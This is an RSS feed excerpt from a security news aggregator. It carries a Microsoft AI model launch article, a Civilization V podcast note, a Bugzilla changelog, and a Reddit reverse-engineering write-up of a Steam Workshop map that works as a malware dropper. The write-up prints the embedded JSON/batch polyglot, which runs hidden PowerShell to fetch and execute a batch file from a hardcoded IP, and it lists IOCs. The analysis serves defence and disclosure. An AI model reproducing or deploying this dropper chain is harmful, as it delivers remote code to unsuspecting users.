<content:encoded><![CDATA[<p><a href="https://microsoft.ai/">Microsoft AI</a> released two new in-house models into public preview on Wednesday — <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5-Pro</a>, its highest-fidelity image generator to date, and <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Voice-2-Flash</a>, a speech model built for high-volume enterprise workloads — while publishing production data that amounts to the company's most aggressive argument yet that it can power its own products without leaning on OpenAI's frontier models.</p><p>The announcement, made by <a href="https://microsoft.ai/">Microsoft AI's Superintelligence team</a>, lands roughly a year after the company committed to building purpose-built models internally, and it arrives with an unusual level of specificity about where those models now run: <a href="https://www.bing.com/">Bing</a>, <a href="https://www.microsoft.com/en-us/microsoft-365/powerpoint">PowerPoint</a>, <a href="https://www.microsoft.com/en-us/microsoft-365/onedrive/online-cloud-storage">OneDrive</a>, <a href="https://www.microsoft.com/en-us/dynamics-365">Dynamics 365</a>, <a href="https://excel.cloud.microsoft/en-us/">Excel</a>, <a href="https://github.com/features/copilot">GitHub Copilot</a>, and <a href="https://azure.microsoft.com/en-us">Azure</a>. The message to enterprise buyers — and, implicitly, to OpenAI — is that Microsoft's homegrown models are no longer research projects. They are production infrastructure serving millions of users.</p><p>"Each of these enhancements is a step toward the same goal: Microsoft products, powered by Microsoft models," the company wrote in its announcement blog.</p><h2><b>How MAI-Image-2.5-Pro and MAI-Voice-2-Flash stake out opposite ends of the AI cost curve</b></h2><p>The two new releases occupy opposite ends of what Microsoft calls the quality-speed-cost curve, and the positioning is deliberate. <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5-Pro</a> targets the premium tier: hero imagery, detailed editing, and precise in-image text rendering — the last of which has long been a notorious weak spot for image generation models. Microsoft priced the model at $5 per million text input tokens, $8 per million image input tokens, and $106 per million image output tokens. The base <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5</a> model recently launched at <a href="https://microsoft.ai/news/introducing-mai-image-2-5/">No. 2 for image editing on Arena</a>, the community leaderboard that has become a de facto scoreboard for generative media.</p><p>The creative industry appears to be taking notice. Rob Reilly, global chief creative officer at advertising giant WPP, called the Pro model "a strong leap forward for GenMedia tools" in a statement included in Microsoft's announcement, adding that "Microsoft has firmly established itself among the leaders in generative AI."</p><p><a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Voice-2-Flash</a> goes the other direction. First previewed at Microsoft's <a href="https://news.microsoft.com/build-2026/">Build conference</a>, Flash runs twice as fast as MAI-Voice-2 and costs 32% less, priced at $15 per million characters. It is designed for the unglamorous but enormous market of high-volume voice — call centers, voice agents, and real-time speech applications where latency and cost-per-call matter more than marginal gains in expressiveness. Together, the two models reflect a strategy of building families of models rather than a single flagship, because, as the company put it, a creative studio chasing maximum fidelity has very different needs from a customer service operation handling millions of calls a day.</p><h2><b>Microsoft's production metrics show in-house models cutting GPU costs by up to 89%</b></h2><p>The model launches are arguably less newsworthy than the deployment metrics Microsoft attached to them — numbers that read like a systematic case for swapping out third-party frontier models across its product portfolio. </p><p><a href="https://explore.microsoft.com/en-us/bing/features/bing-image-creator?form=MA13FV">Bing Image Creator </a>now runs entirely on <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5</a>, end to end, marking the first time the consumer image tool is fully in-house. In PowerPoint, Microsoft says MAI-Image-2.5 reduces GPU costs by up to 84% compared with GPT-Image-2, OpenAI's image model. In OneDrive, where MAI-Image-2.5 is now the default for key image-editing scenarios, the company reports a 26% increase in save rates, roughly 25% lower P95 latency, and 2.5 times greater efficiency under medium-utilization production workloads.</p><p>On the voice side, <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Voice-2-Flash</a> now powers Dynamics 365 Contact Center — the platform used by customers including T-Mobile and EasyJet — where Microsoft claims GPU cost reductions of up to 89%. The model is also integrated into Azure Voice Live for developers building speech-to-speech agents.</p><p>Perhaps the most consequential deployment sits in healthcare. Microsoft's <a href="https://www.microsoft.com/en-us/health-solutions/clinical-workflow/dragon-copilot">Dragon Copilot</a>, used by 170,000 medical providers and responsible for processing 28 million patient encounters last quarter, now runs on MAI-Transcribe-1.5 for its multilingual workflow across 58 languages. Microsoft says internal evaluations show a 50% relative reduction in both transcription and language-identification error rates across most languages — a meaningful claim in a domain where transcription errors can propagate directly into clinical notes.</p><h2><b>Inside the 'hill-climbing' strategy that lets small models beat GPT-5.6 in Excel</b></h2><p>In a companion post published the same day, Microsoft detailed the methodology behind these results — what it calls its "<a href="https://microsoft.ai/news/hill-climbing-mai-models-for-github-copilot-and-excel/">hill-climbing machine</a>," an integrated flywheel of data, models, and the product "harness" that surrounds them.</p><p>The clearest example is <a href="https://microsoft.ai/news/introducingmai-code-1-flash/">MAI-Code-1-Flash</a>, the lightweight coding model launched in GitHub Copilot in June. Microsoft says the model achieves an approximately 10% higher code accept rate than GPT-5.4 Mini and Claude Haiku 4.5 in VS Code, while using 10% fewer median tokens. Developer retention tells a similar story: users were 6% more likely to return across multiple days than with GPT-5.4 Mini, and 11% more likely than with Claude Haiku 4.5.</p><p>Then Microsoft did something more interesting. It took the MAI-Code-1-Flash checkpoint and further <a href="https://microsoft.ai/news/hill-climbing-mai-models-for-github-copilot-and-excel/">trained it inside an Excel reinforcement learning environment</a>, teaching a coding model the tools and workflows of spreadsheet knowledge work. The result, according to production user feedback, is a model on par with GPT-5.6 for the most common Excel tasks — while being small enough to run on Nvidia's older H100 and even A100 GPUs rather than requiring the latest-generation accelerators.</p><p>That hardware detail deserves emphasis. Every major AI company is fighting for allocation of cutting-edge chips, and a model that delivers frontier-adjacent quality on two-generation-old silicon fundamentally changes the deployment economics. It also frees the newest hardware — including Microsoft's now-operational GB200 cluster — for training rather than serving.</p><h2><b>Satya Nadella's 'frontier diffusion' manifesto redraws the OpenAI relationship</b></h2><p>Microsoft CEO Satya Nadella framed the announcements in a lengthy post on X titled "<a href="https://x.com/satyanadella/status/2080329851127669104">Frontier Diffusion &amp; Control</a>," which functions as something close to a strategic manifesto. "We can now take saturated frontier capabilities and deliver them at scale and at lower cost through models optimized for high-usage products, while continuing to use frontier models for frontier needs," Nadella wrote, adding that Microsoft is "beginning to route traffic across our first-party surfaces to MAI whenever our models match or outperform frontier alternatives."</p><p>Translated from executive prose: capabilities that were state-of-the-art a year ago are now table stakes, and Microsoft believes it can replicate them cheaply for the specific, repetitive tasks that dominate real product usage. Why pay frontier prices for a frontier model when a user just wants to reformat a spreadsheet column?</p><p>Nadella was careful to note that "frontier models from OpenAI and Anthropic are part of the orchestration system alongside MAI" — but he also articulated a pointed principle of model independence, arguing that a company's evaluations "should continue to hill climb even when any given model has been removed." </p><p>“Keeping the harness, memory, context, and skills outside the model, he argued, is what gives Microsoft control. The subtext is hard to miss. Reuters reported in April that Microsoft’s <a href="https://www.reuters.com/legal/litigation/microsoft-end-exclusive-license-openais-technology-2026-04-27/">exclusive license to OpenAI’s technology</a> had been revised into a non-exclusive arrangement, and The Information reported last September that Microsoft had <a href="https://www.theinformation.com/articles/microsoft-buy-ai-anthropic-shift-openai">begun incorporating Anthropic models</a> into some products. Wednesday’s announcement completes the triangle: Microsoft as orchestrator, with its partners’ frontier models as interchangeable components and its own models absorbing an ever-larger share of routine traffic.”</p><h2><b>Developers cheer cheaper task-specific models while skeptics question Microsoft's track record</b></h2><p>The response online captured both the appeal and the skepticism surrounding the strategy. "I love when people use small models for niche tasks," wrote one X user, <a href="https://x.com/mavihsk/status/2080330529547993252">@mavihsk</a>, responding to Nadella's post. "Why do I have to use the all-knowing model just to change my field in Excel?" Another user, <a href="https://x.com/nabu_lines/status/2080343512780837226">@nabu_lines</a>, distilled the pitch neatly: "cost and performance both improve when you stop overusing the biggest model."</p><p>Others were less charitable about Microsoft's execution track record. "Microsoft is the worst when it comes to listening to user feedback," wrote designer <a href="https://x.com/designedbyabin/status/2080332368301412434">@designedbyabin</a>, arguing the company "will lose the AI race because they repeatedly failed to understand user needs." And one user, <a href="https://x.com/tokenoverflow/status/2080386145712824694">@tokenoverflow</a>, offered a drier critique of the model-independence pitch: "i want it keep hill climbing after removing microsoft."</p><p>The skeptics raise a fair point. Microsoft's self-reported metrics — accept rates, save rates, GPU savings — come from its own internal evaluations, not independent benchmarks, and the company chooses which comparisons to publish.</p><p>But the strategy's logic does not depend on any single number. Nadella's framing that software now has "<a href="https://x.com/satyanadella/status/2080329851127669104">real marginal cost for the first time</a>" explains why Microsoft is obsessive about tokens, GPUs, and serving costs: when AI features run on every keystroke across a billion-user product portfolio, an 84% GPU cost reduction is not an optimization. It is the difference between a viable business and a money pit.</p><h2><b>Why Microsoft is turning its internal AI playbook into an Azure product</b></h2><p>The final piece of the strategy is that Microsoft is selling the playbook, not just the models. Nadella explicitly positioned the hill-climbing approach as "a template for every other AI native, SaaS, or Enterprise company," and Microsoft is packaging the toolchain through Foundry and what it calls Frontier Tuning — letting enterprises train specialized models against their own proprietary evaluations and reinforcement learning environments. That turns Microsoft's internal cost-cutting exercise into an Azure product, and it gives enterprise customers a reason to run their AI workloads on Microsoft's cloud even if the models themselves come from elsewhere.</p><p>The company's emphasis on models trained "on clean, traceable, enterprise-grade data, without distillation from third-party models" serves the same commercial end. In an industry facing mounting scrutiny over training data provenance, Microsoft is betting that enterprise buyers — and courts — will care where model capabilities come from. Microsoft says it is now extending the hill-climbing approach to <a href="https://copilot.microsoft.com/">Copilot Chat</a>, <a href="https://outlook.live.com/mail/">Outlook</a>, and <a href="https://www.microsoft.com/en-us/microsoft-365/powerpoint">PowerPoint</a>, and both new models are available in public preview through <a href="https://azure.microsoft.com/en-us/products/ai-foundry">Microsoft Foundry</a> and the <a href="https://playground.microsoft.ai/">MAI Playground</a>. "None of this is an endpoint," the company wrote. "We're just getting started."</p><p>Seven years ago, <a href="https://www.cnbc.com/2024/08/10/rise-of-openai-microsofts-13-billion-artificial-intelligence-bet.html">Microsoft bet more than $13 billion</a> that OpenAI would build the future of AI. Wednesday's announcement suggests the company has since learned a cheaper lesson: the future of AI may belong to whoever builds the frontier, but the profits belong to whoever makes it ordinary.</p>]]></content:encoded>
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<title><![CDATA[HPR4690: Playing Civilization V, Part 14]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.

In our sample game we look at playing as Austria and aiming for a Diplomatic Victory. And our focus is on puppeting City-States, but I misunderstood and instead of making a Diplomatic Victory easier, it makes it harder. I still managed to get my D...]]></description>
<link>https://tsecurity.de/de/3690466/podcasts/hpr4690-playing-civilization-v-part-14/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690466/podcasts/hpr4690-playing-civilization-v-part-14/</guid>
<pubDate>Fri, 24 Jul 2026 02:04:41 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>In our sample game we look at playing as Austria and aiming for a Diplomatic Victory. And our focus is on puppeting City-States, but I misunderstood and instead of making a Diplomatic Victory easier, it makes it harder. I still managed to get my Diplomatic Victory, but a Science or Domination Victory would definitely have been easier in this scenario.</p>

<h1>Playing Civilization V, Part 14</h1>

<p>Now I am at turn 340, I just puppeted another City-State, and I have one more on the way. I have sent a large number of military units, both land and sea, to the City-States that are on Japan’s border. If he tries anything now he will likely regret it. Now I am starting to build things I had not bothered with before, like Granaries and Amphitheaters. I got a couple of Great Engineers, and used them to rush build Wonders. I am nearly finished puppeting all of the City-States, and my Happiness and Income are both quite healthy. I am in such good shape I started to build the World’s Fair, which I initally proposed then ignored.</p>

<p>At this point I only have one more City-State to puppet, then I will have puppeted every City-State in the game. So it is time to put my large income to use in other ways by giving gifts to the other players. I may want to get a few more votes on my side to get over the top in the World Leader vote when it happens. On turn 357 I completed the puppeting of all of the City-States in the game. Meanwhile, I am building up my Science and building Wonders as they become available. I didn’t build any in the early game because I had other priorities, but now I have a strong military, high income, and no other pressing needs. My score on the Leader Board is now double that of my nearest competitor which is still Japan. And their denunciation me of just expired with them taking no action.</p>

<p>I used a Great Engineer to rush build the Porcelain Tower, earning me another Great Scientist, which I then used to build another Academy. At this point it is mostly a slog to the finish. Since I was so dominant and so wealthy I could afford to pursue a couple of other options just in case. One was a Science victory, which looked like a possibility, though it would be close. I had to be very focused in my Science Research. The other option was a Culture victory, and I had dominated two other empires culturally without half trying, and I was generating Great Artists, Great Musicians, and Great Writers pretty rapidly. So I built Museums, then Archeologists, and grabbed every artifact I find to stuff into the Museums. But the final Victory came when I researched Globalization. This tech allows you to get an extra vote in a World Council for every Spy you send to another empire’s capital and designate as an Ambassador. I immediately sent my spies out (they had previously been in my cities doing counter-espionage since I had a tech lead). And a few turns later a vote for World Leader came up and I won.</p>

<p>This was my first time using Maria Theresa of Austria as my leader, and it was fun, but in the end puppeting all of the City-Staters actually made it harder to win a Diplomatic victory. In other games I have played, every City-State that was an ally was an extra vote in the World Council, and I assumed that making them puppets would mean I would get that many votes. But that didn’t happen. Of course, if I had read more carefully in the Civilization Wiki I would have realized this, because it says there very clearly that Austria is one of the worst Empires to pick if you are going for a Diplomatic victory. So the fact that I managed it anyway is nice. I think I actually could have done a Science victory as I had my Spaceship half-built when I won the Diplomatic Victory. But I hope this analysis of how I actually played this game will be helpful to someone else.</p>

<h3>Links</h3>
<ul>
<li><a href="https://www.palain.com/gaming/civilization-v/playing-civilization-v-part-14/">https://www.palain.com/gaming/civilization-v/playing-civilization-v-part-14/</a></li>
</ul>


<p><a href="https://hackerpublicradio.org/eps/hpr4690/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
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<title><![CDATA[Firefox Tooling Announcements: Happy BMO Push Day! (20260723.{1,2})]]></title>
<description><![CDATA[The following changes have been pushed to bugzilla.mozilla.org:
Github Link

Bug 2055236 - The column headers in Github PR are barely visible in dark mode
Bug 2054574 - Do not auto-assigning Hackbot when submitting a Phabricator revision

Github Link
The following changes have been pushed to bugz...]]></description>
<link>https://tsecurity.de/de/3690418/tools/firefox-tooling-announcements-happy-bmo-push-day-2026072312/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690418/tools/firefox-tooling-announcements-happy-bmo-push-day-2026072312/</guid>
<pubDate>Fri, 24 Jul 2026 01:03:20 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The following changes have been pushed to <a href="https://bugzilla.mozilla.org/">bugzilla.mozilla.org</a>:</p>
<p><a href="https://github.com/mozilla-bteam/bmo/tree/release-20260723.1" rel="noopener nofollow ugc">Github Link</a></p>
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2055236">Bug 2055236</a> - The column headers in Github PR are barely visible in dark mode</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2054574">Bug 2054574</a> - Do not auto-assigning Hackbot when submitting a Phabricator revision</li>
</ul>
<p><a href="https://github.com/mozilla-bteam/bmo/tree/release-20260723.2" rel="noopener nofollow ugc">Github Link</a></p>
<p>The following changes have been pushed to <a href="https://bugzilla.mozilla.org/">bugzilla.mozilla.org</a>:</p>
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2055285">Bug 2055285</a> - Remove the “Show closed/merged PR” checkbox in the GH PR view</li>
</ul>
<p>Discuss these changes in the <a href="https://matrix.to/#/%23bmo:mozilla.org" rel="noopener nofollow ugc">BMO Matrix Room</a></p>
            <p><small>1 post - 1 participant</small></p>
            <p><a href="https://discourse.mozilla.org/t/happy-bmo-push-day-20260723-1-2/149025">Read full topic</a></p>]]></content:encoded>
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<title><![CDATA[Workshop map for MECCHA CHAMELEON is a malware dropper (full breakdown)]]></title>
<description><![CDATA[Table of Contents  Intro Initial Symptom First Look at the Workshop Files Verifying the Asset Files AssetRegistry.bin Reveals the First Clue Opening the UE5 Asset Container Reverse Engineering the Blueprint Extracting the Embedded Payload Analyzing the Dropper Script Confirming Execution on an Af...]]></description>
<link>https://tsecurity.de/de/3690349/malware-trojaner-viren/workshop-map-for-meccha-chameleon-is-a-malware-dropper-full-breakdown/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690349/malware-trojaner-viren/workshop-map-for-meccha-chameleon-is-a-malware-dropper-full-breakdown/</guid>
<pubDate>Fri, 24 Jul 2026 00:21:11 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><h1>Table of Contents</h1> <ul> <li>Intro</li> <li>Initial Symptom</li> <li>First Look at the Workshop Files</li> <li>Verifying the Asset Files</li> <li>AssetRegistry.bin Reveals the First Clue</li> <li>Opening the UE5 Asset Container</li> <li>Reverse Engineering the Blueprint</li> <li>Extracting the Embedded Payload</li> <li>Analyzing the Dropper Script</li> <li>Confirming Execution on an Affected PC</li> <li>Did the Second Stage Execute?</li> <li>Analysis Summary</li> <li>Limitations &amp; Unknowns</li> <li>IOCs</li> <li>Final verdict</li> </ul> <p>A couple of my friends reported seeing a command prompt window briefly appear while Steam was downloading a custom workshop map. The map was being downloaded through the game's in-game lobby and, once the download completed it immediately began loading for the match. Since the command prompt window appeared during this transition, I decided to investigate the workshop files.</p> <p>What I found was a seemingly ordinary workshop map that contained what appears to be a malware dropper, despite having passed workshop review.</p> <p>I'm writing this up because, as far as I know, the map is still available, and because the techniques it uses to hide are worth understanding if you download workshop content. While there are still a few parts of the execution chain I can't fully explain, the artifacts themselves are interesting from a reverse engineering perspective.</p> <p><a href="https://preview.redd.it/nn7j9wf4q1fh1.png?width=1265&amp;format=png&amp;auto=webp&amp;s=0276954f24bafc16cee6b2fc2569c12bedeaea51">https://preview.redd.it/nn7j9wf4q1fh1.png?width=1265&amp;format=png&amp;auto=webp&amp;s=0276954f24bafc16cee6b2fc2569c12bedeaea51</a></p> <p><strong>1): The Initial Symptom</strong></p> <p>A black command prompt window flashed on screen for about a second before disappearing. It appeared while Steam was still downloading the workshop map, just as the game was transitioning into loading it for the match. There were no crashes, error messages, or any other unusual behavior. On its own, it would have been easy to dismiss as Steam running a background process, but seeing a console window appear during a workshop download / match launch was unusual enough that I decided to investigate.</p> <p><strong>2): First Look at the Workshop Files</strong></p> <p>The workshop content is located here:</p> <pre><code>Steam\steamapps\workshop\content\4704690\3765145606\ </code></pre> <p>At first glance, there’s nothing suspicious in the folder. The contents are:</p> <pre><code>AssetRegistry.bin Preview.png Sample.vdf SampleMyUGCMecchaCModKit_Load-Windows.pak SampleMyUGCMecchaCModKit_Load-Windows.ucas SampleMyUGCMecchaCModKit_Load-Windows.utoc </code></pre> <p>There are no executables, DLLs, batch files, or scripts. The <code>.pak</code>, <code>.ucas</code>, and <code>.utoc</code> files are simply the standard Unreal Engine 5 asset container format used for packaging game content exactly what you would expect to see from a UE5 map or mod.</p> <p>This is worth emphasizing: if you were manually checking this folder for malware, there would be no obvious red flags here. Nothing in this directory suggests anything malicious. That is likely why it passed review in the first place.</p> <p><strong>3): Verifying the Asset Files</strong></p> <p>File extensions are easy to spoof, so I checked the actual file headers and scanned the contents for embedded executable data.</p> <p>The results:</p> <ul> <li>utoc starts with <code>-==--==--==--==-</code>, which is the real IoStore magic</li> <li>pak has the correct <code>0x5A6F12E1</code> footer magic</li> <li>no MZ/PE, ELF or ZIP headers anywhere in any file</li> </ul> <p>The files appear to be valid Unreal Engine asset containers, not disguised executables. There is no standalone executable payload present in this mod. If there is unexpected behavior, it would have to be occurring through the game’s normal asset-loading pipeline rather than from an included executable file.</p> <p><strong>4): AssetRegistry.bin Reveals the First Clue</strong></p> <p>This is the detail that stands out most from the entire investigation.</p> <p>AssetRegistry.bin is largely readable metadata. You can open it in a text editor and see references to the actors placed throughout the maps. Normally, it contains exactly the kind of information you would expect: StaticMeshActor, PointLight, PlayerStart, and other standard Unreal Engine objects.</p> <p>However, one Blueprint actor immediately stands out:</p> <pre><code>/Game/Mods/NewMap.NewMap:PersistentLevel.BP_RCE_Test_C_0 </code></pre> <p>Its class resolves as:</p> <pre><code>BP_AmbientController_C </code></pre> <p>Those two names together are unusual. The class name suggests a harmless environmental or lighting-related system especially since it appears under folders such as Environment and Lighting. However, the placed actor still retains the older name BP_RCE_Test_C_0.</p> <p>In Unreal Engine, this can happen because placed actors keep the name they were created with even if the Blueprint class is later renamed. Renaming the class does not automatically rename every existing instance placed in maps.</p> <p>That means the BP_RCE_Test name likely existed at an earlier point in the asset’s history. Whether intentional or not, the old identifier remains embedded in the map metadata.</p> <p>The same reference appears across three separate maps included in the workshop item, including a NewMap_Backup file that appears to have been left in the upload.</p> <p><strong>5): Opening the UE5 Asset Container</strong></p> <p>The Blueprint data is stored inside the Oodle-compressed .ucas container. Reading the accompanying .utoc metadata reveals:</p> <pre><code>chunks ............ 57 blocks ............ 131 (130 Oodle-compressed) flags ............. Compressed | Indexed </code></pre> <p>No encryption flag is present, meaning the container can be inspected using available Unreal Engine asset tooling and compatible Oodle/Kraken decompression support. All 131 blocks decompress successfully, producing roughly 5.3 MB of extracted data.</p> <p>The container contains 55 assets in total: materials, meshes, textures, four maps, and three Blueprints. Two of those Blueprints appear to be untouched sample assets from the official ModKit, containing no custom logic.</p> <p>Searching across the extracted asset data revealed only a small number of notable references:</p> <pre><code>ReceiveBeginPlay ....... 1 ToFile ................. 1 GetPlatformUserDir ..... 1 powershell ............. 1 </code></pre> <p>These references are concentrated in a single Blueprint rather than being distributed throughout the package. There does not appear to be additional hidden logic elsewhere in the container, which makes the relevant behavior easier to isolate and analyze.</p> <p><strong>6): Reverse Engineering the Blueprint</strong></p> <p>The complete function chain is:</p> <pre><code>ReceiveBeginPlay ↓ GetPlatformUserDir ↓ Replace ↓ Concat_StrStr ↓ FromString (JSON) ↓ ToFile </code></pre> <p>Despite the Blueprint being named like an environment or lighting system, the logic does not appear to perform any lighting, ambience, or world-management functions. Instead, it constructs a file path and writes data to disk.</p> <p>Tracing the Blueprint bytecode shows the path construction:</p> <pre><code>dir = GetPlatformUserDir() // C:/Users/&lt;user&gt;/Documents/ path = dir + "s.bat" </code></pre> <p>ReceiveBeginPlay is normally called when the map begins loading, which does not fully match the behavior reported by some users, who observed activity during the download process itself. That discrepancy is not explained by the Blueprint logic alone, so it is worth treating those reports separately from the behavior confirmed through asset analysis.</p> <p><strong>7): Extracting the Embedded Payload</strong></p> <p>A single embedded string inside the Blueprint contains the following data:</p> <pre><code>{"x\"&amp;if not defined _Z (set _Z=1&amp;start /min cmd /c %~f0&amp;exit) else ( powershell -w hidden -ep bypass -c iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat; cmd /c $env:TEMP\s.bat&amp;exit)&amp;\"x":"1"} </code></pre> <p>The string is structured as a JSON/batch polyglot: it is valid JSON while also containing batch command syntax inside the JSON key. The command content is therefore preserved when written as JSON data, but can also be interpreted as a batch script if the resulting file is executed.</p> <p>This format is significant because the earlier Blueprint analysis showed that the file-writing step uses <code>ToFile</code>, which writes JSON data. The embedded content appears designed to satisfy that JSON requirement while retaining executable command syntax.</p> <p>The combination of a JSON-compatible wrapper and embedded command execution logic is not typical of normal Unreal Engine asset data and is a strong indicator that the content was deliberately constructed rather than being accidental or generated by the engine.</p> <p><strong>8): Analyzing the Dropper Script</strong></p> <p>The extracted script is also human-readable:</p> <pre><code>if not defined _Z ( set _Z=1 start /min cmd /c %~f0 exit ) else ( powershell -w hidden -ep bypass -c ^ iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat cmd /c $env:TEMP\s.bat exit ) </code></pre> <p>The script uses a simple two-stage execution flow.</p> <p>On the first run, <code>_Z</code> is not defined, so the script sets the variable, launches a minimized copy of itself, and exits. This relaunch behavior explains the brief command window flash reported by some users. At this stage, the script is acting as a launcher rather than performing the main action.</p> <p>On the second run, the <code>_Z</code> variable is already present, so the script follows the alternate branch. It starts PowerShell with a hidden window, modifies the execution policy for that process, downloads <code>steamb.bat</code> from a hardcoded external address, saves it to the temporary directory, and executes it.</p> <p>The <code>_Z</code> check appears to exist solely to prevent the script from repeatedly relaunching itself.</p> <p>The script itself is relatively simple: there is no evidence here of persistence mechanisms, privilege escalation, or sophisticated obfuscation. Its main purpose appears to be retrieving and executing a second-stage script. That second stage is hosted externally, meaning its contents can change independently of the original mod package.</p> <p><strong>9): Confirming Execution on an Affected PC</strong></p> <p>On one affected system, I found a file that was byte-for-byte identical to the payload string embedded in the Blueprint. It was located at the exact path identified during the bytecode analysis.</p> <p>This confirms that the Blueprint logic was not just theoretical, the file-writing behavior observed during reverse engineering occurred on a real system.</p> <p><a href="https://preview.redd.it/hav7l33dq1fh1.png?width=2252&amp;format=png&amp;auto=webp&amp;s=9fc74ff8ac7e3607889cb9a4f052d8d73e0f2f32">https://preview.redd.it/hav7l33dq1fh1.png?width=2252&amp;format=png&amp;auto=webp&amp;s=9fc74ff8ac7e3607889cb9a4f052d8d73e0f2f32</a></p> <p><strong>10): Did the second stage execute?</strong></p> <p>The second-stage file, <code>%TEMP%\s.bat</code>, was not present on the affected machine. The PowerShell Operational log explains why:</p> <p><a href="https://preview.redd.it/srmpq28pq1fh1.png?width=1577&amp;format=png&amp;auto=webp&amp;s=6a2841345f423906fafaa570acd20d85636e3b70">https://preview.redd.it/srmpq28pq1fh1.png?width=1577&amp;format=png&amp;auto=webp&amp;s=6a2841345f423906fafaa570acd20d85636e3b70</a></p> <p>The download request failed with an HTTP 404 response at the time of execution. Because the file was never successfully retrieved, nothing was written to disk and the following <code>cmd /c</code> command had no script to execute.</p> <p>On this system, the second stage did not execute. The contents and behavior of the downloaded payload remain unknown because the external file was unavailable at the time of analysis.</p> <p>The address embedded in the script resolves to <code>31.57.34.228</code>. At the time of analysis, the IP address was geolocated to Amsterdam, Netherlands, and was associated with Blockchain Creek B.V. (ASN 207994).</p> <p>This information identifies the hosting infrastructure used by the download URL, but it does not by itself identify the operator of the server or establish attribution. The important finding is that the Blueprint attempted to retrieve an additional payload from an external location, rather than containing the final payload entirely within the workshop files.</p> <p><a href="https://preview.redd.it/y1b4bj6sq1fh1.png?width=2546&amp;format=png&amp;auto=webp&amp;s=141474bd203a7d6529591ae09487da2e35e58026">https://preview.redd.it/y1b4bj6sq1fh1.png?width=2546&amp;format=png&amp;auto=webp&amp;s=141474bd203a7d6529591ae09487da2e35e58026</a></p> <p><strong>11): Analysis Summary</strong></p> <p>Based on the evidence recovered from the workshop item, this should be treated as malicious content. That conclusion does not rely on a single indicator; it comes from the combination of several independent findings:</p> <ul> <li>The Workshop uploader account appears to have been created only about one week before the item was published</li> <li>The Workshop map currently does not allow users to leave comments or ratings</li> <li>The only Blueprint containing custom logic was originally identified as <code>BP_RCE_Test</code> and later appeared under a name consistent with a harmless environment or lighting controller.</li> <li>The Blueprint executes automatically through <code>ReceiveBeginPlay</code>, rather than requiring an intentional user action inside the map.</li> <li>Its logic writes data outside the game directory into the user’s Documents folder, which is unrelated to normal map or asset behavior.</li> <li>The written content is a deliberately structured JSON/batch polyglot, allowing data written through a JSON-only function to retain executable batch syntax.</li> <li>That script launches hidden PowerShell, bypasses the local execution policy for the process, retrieves a second-stage file from a hardcoded external address, and attempts to execute it.</li> </ul> <p>What remains unknown is the purpose of the final payload. The second-stage script was not successfully retrieved during analysis and was no longer available from the remote location, so its behavior cannot be determined. Claims that it was specifically an infostealer, loader, or another type of malware would be speculation without that payload.</p> <p><strong>12): Limitations &amp; Unknowns</strong></p> <p><strong>What does</strong> <code>steamb.bat</code> <strong>do?</strong></p> <p>Unknown. The second-stage payload was not delivered during analysis, so its final behavior cannot be determined from the available evidence.</p> <h1>IOCs</h1> <pre><code>Workshop item 3765145606 "Laser Tag Neon" (appid 4704690) comments and ratings disabled on the listing uploader account roughly one week old Asset BP_AmbientController.uasset (originally BP_RCE_Test_C_0) Dropped file %USERPROFILE%\Documents\s.bat C2 http://31.57.34.228/work/steamb.bat Second stage steamb.bat (never delivered, contents unknown) Asset build 2026-06-09 22:37:14 s.bat 210 bytes sha256 1ff540bc3c493a93059e602b414ba61027ed1a2b8a079f6197b0718f4a2101b6 md5 04d6dfadd5248c995951707e27520ade container utoc aea429fbb44d552c917c22018e838e4154e68a8cac5806f7a8e30b61586ba2a6 ucas fbd932faba4ec8d614fbd7a68636e177213259bafe2babdcdc47c2a8acd6d569 pak aa58f9061a4e39e3f5a28395c56cfa5b0072d90e66054894f9c8022e81e396c9 </code></pre> <p><strong>Final Verdict</strong></p> <p>Based on everything I found, I believe this workshop item is very likely malicious, but there are still parts of the execution chain I couldn't directly observe.</p> <p>What I can say with confidence is that the asset contains a Blueprint whose only meaningful purpose is to write a batch file outside the game's directory into the user's Documents folder. That batch file then attempts to launch PowerShell with the execution policy bypassed, download a second batch file from a hard-coded external server, and execute it.</p> <p>I can't think of a legitimate reason for a Steam workshop map to write a .bat file into a user's Documents folder and then use PowerShell to fetch and run another <code>.bat</code> file from the Internet. Even without knowing what the second stage contained, that behavior is extremely difficult to explain as anything other than a malware delivery chain.</p> <p>Could there be some edge case I'm missing? Absolutely. That's why I've tried to separate facts from assumptions throughout this write-up. But given the evidence recovered from the assets themselves, I think calling this a malicious dropper is the conclusion best supported by the data</p> <p>Further independent investigation is encouraged, particularly if additional evidence becomes available. For now, the workshop item and the uploader have been reported and flagged for review.</p> <p>Cheers and stay safe!</p> <p>FeintBe</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/feintbe"> /u/feintbe </a> <br> <span><a 